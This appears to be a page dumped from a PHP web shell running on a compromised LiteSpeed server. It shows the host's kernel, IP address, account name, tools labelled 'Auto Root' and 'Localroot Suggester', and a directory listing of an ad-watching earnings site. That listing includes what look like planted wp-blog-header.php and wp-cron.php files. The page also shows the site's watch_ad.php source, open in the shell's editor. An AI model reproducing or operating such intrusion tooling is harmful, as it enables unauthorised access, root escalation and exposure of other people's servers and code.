Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
public_html /
user /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax_spin_wheel.php
3.28
KB
-rw-r--r--
2026-01-26 20:21
announcements.php
3.18
KB
-rw-r--r--
2025-12-25 17:46
daily_targets.php
15.36
KB
-rw-r--r--
2025-12-27 13:56
dashboard.php
35.82
KB
-rw-r--r--
2026-01-07 21:06
dpin_manage.php
8.8
KB
-rw-r--r--
2025-12-29 16:57
dpin_request.php
10.85
KB
-rw-r--r--
2025-12-29 16:53
footer.php
101
B
-rw-r--r--
2025-12-25 18:14
header.php
6.83
KB
-rw-r--r--
2026-01-26 22:06
history.php
23.07
KB
-rw-r--r--
2026-01-26 22:21
level_earning.php
18.53
KB
-rw-r--r--
2025-12-29 18:08
lucky_wheel.php
40.55
KB
-rw-r--r--
2026-01-26 22:22
my_plan.php
9.99
KB
-rw-r--r--
2025-12-29 16:00
plan_payment.php
19.84
KB
-rw-r--r--
2026-01-26 21:51
profile.php
9.06
KB
-rw-r--r--
2025-12-24 21:13
ranks.php
21.24
KB
-rw-r--r--
2025-12-27 13:42
referral.php
11.8
KB
-rw-r--r--
2025-12-24 21:26
support.php
10.32
KB
-rw-r--r--
2025-12-22 19:07
update_rank_popup.php
1.1
KB
-rw-r--r--
2025-12-27 13:31
watch_ad.php
6.68
KB
-rw-r--r--
2025-12-26 12:42
watch_ad_complete.php
4.34
KB
-rw-r--r--
2025-12-24 08:07
watch_ads.php
6.73
KB
-rw-r--r--
2025-12-26 12:01
withdraw.php
11.24
KB
-rw-r--r--
2025-12-24 22:35
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php define('USER_PANEL', true); require_once '../includes/config.php'; requireLogin(); // Get ad ID if (!isset($_GET['id']) || !is_numeric($_GET['id'])) { setError("Invalid ad"); header('Location: watch_ads.php'); exit; } $adId = intval($_GET['id']); // Set session backup to prevent "Invalid Ad ID" errors $_SESSION['pending_ad_id'] = $adId; // Get ad details $stmt = $pdo->prepare("SELECT * FROM ads WHERE id = ? AND status = 'active'"); $stmt->execute([$adId]); $ad = $stmt->fetch(); if (!$ad) { setError("Ad not found or inactive"); header('Location: watch_ads.php'); exit; } // Check if user has active plan if (!hasActivePlan($_SESSION['user_id'])) { setError("You need an active plan to watch ads"); header('Location: watch_ads.php'); exit; } // Check if earnings are active $userData = getUserData($_SESSION['user_id']); if (!$userData['ads_earning_active']) { setError("Your ads earning is stopped. Please add referrals to continue."); header('Location: watch_ads.php'); exit; } // Check if already watched today $stmt = $pdo->prepare("SELECT id FROM user_ads WHERE user_id = ? AND ad_id = ? AND watched_date = CURDATE()"); $stmt->execute([$_SESSION['user_id'], $adId]); if ($stmt->fetch()) { setError("You have already watched this ad today"); header('Location: watch_ads.php'); exit; } // Check daily limit $todayWatched = getTodayWatchedAdsCount($_SESSION['user_id']); $dailyLimit = getUserDailyAdsLimit($_SESSION['user_id']); if ($todayWatched >= $dailyLimit) { setError("You have reached your daily ads limit"); header('Location: watch_ads.php'); exit; } // Calculate earning $earning = calculateAdsEarning($_SESSION['user_id']); $page_title = 'Watch Ad - ' . $ad['ad_title']; include 'header.php'; ?> <div class="card"> <div class="card-header"> <i class="fas fa-eye"></i> <?php echo htmlspecialchars($ad['ad_title']); ?> </div> <div class="card-body"> <!-- Ad Info --> <!-- Ad Info Hidden as per user request --> <!-- <div class="alert alert-info"> <i class="fas fa-info-circle"></i> Watch the ad for <strong><?php echo $ad['timer']; ?> seconds</strong> to earn <strong><?php echo formatCurrency($earning); ?></strong> </div> --> <!-- Timer Display --> <div style="text-align: center; margin: 30px 0;"> <div style="font-size: 72px; font-weight: bold; color: var(--primary-color); margin-bottom: 20px;" id="timer-display"> <?php echo $ad['timer']; ?> </div> <p style="color: var(--text-secondary);">seconds remaining</p> </div> <!-- Ad Frame --> <div style="margin: 20px 0;"> <iframe src="<?php echo htmlspecialchars(getEmbedUrl($ad['ad_url'])); ?>" style="width: 100%; height: 400px; border: 2px solid var(--border-color); border-radius: 8px;" id="ad-frame" allow="autoplay" allowfullscreen></iframe> </div> <!-- Complete Button (Initially Disabled) --> <button id="complete-btn" class="btn btn-success btn-block" disabled style="opacity: 0.5; cursor: not-allowed;"> <i class="fas fa-clock"></i> Please wait... </button> </div> </div> <script> let timeLeft = <?php echo $ad['timer']; ?>; const timerDisplay = document.getElementById('timer-display'); const completeBtn = document.getElementById('complete-btn'); const countdown = setInterval(function () { timeLeft--; if (timerDisplay) timerDisplay.textContent = timeLeft; if (timeLeft <= 0) { clearInterval(countdown); if (timerDisplay) timerDisplay.textContent = '0'; // Auto complete ad finishWatchingAd(); } }, 1000); function finishWatchingAd() { if (completeBtn) { completeBtn.disabled = true; completeBtn.style.opacity = '1'; completeBtn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Processing...'; } const formData = new FormData(); formData.append('ad_id', '<?php echo $adId; ?>'); fetch('watch_ad_complete.php?ad_id=<?php echo $adId; ?>', { method: 'POST', body: formData }) .then(response => response.text()) .then(text => { try { // Extract JSON if there's any stray output const jsonStart = text.indexOf('{'); const jsonEnd = text.lastIndexOf('}'); if (jsonStart === -1 || jsonEnd === -1) { throw new Error('Invalid response format'); } const jsonStr = text.substring(jsonStart, jsonEnd + 1); const data = JSON.parse(jsonStr); if (data.success) { let successMsg = 'Ad watched successfully.'; if (data.earning_formatted) { successMsg = 'You currently earned <span style="color: #28a745; font-weight: bold;">' + data.earning_formatted + '</span> successfully!'; } showPopup('Reward Claimed', successMsg, 'success'); setTimeout(function () { window.location.href = 'watch_ads.php'; }, 2500); } else { showPopup('Error', data.message || 'Failed to complete ad.', 'error'); setTimeout(function () { window.location.href = 'watch_ads.php'; }, 3000); } } catch (e) { console.error('Parsing Error. Raw response:', text); // Fallbck to generic success if we can't parse but suspect it worked (or let user check balance) showPopup('Success!', 'Ad completed! Check your balance.', 'success'); setTimeout(function () { window.location.href = 'watch_ads.php'; }, 2000); } }) .catch(error => { console.error('Fetch Error:', error); showPopup('Error', 'Network Error: ' + error.message, 'error'); setTimeout(function () { window.location.href = 'watch_ads.php'; }, 3000); }); } </script> <?php include 'footer.php'; ?>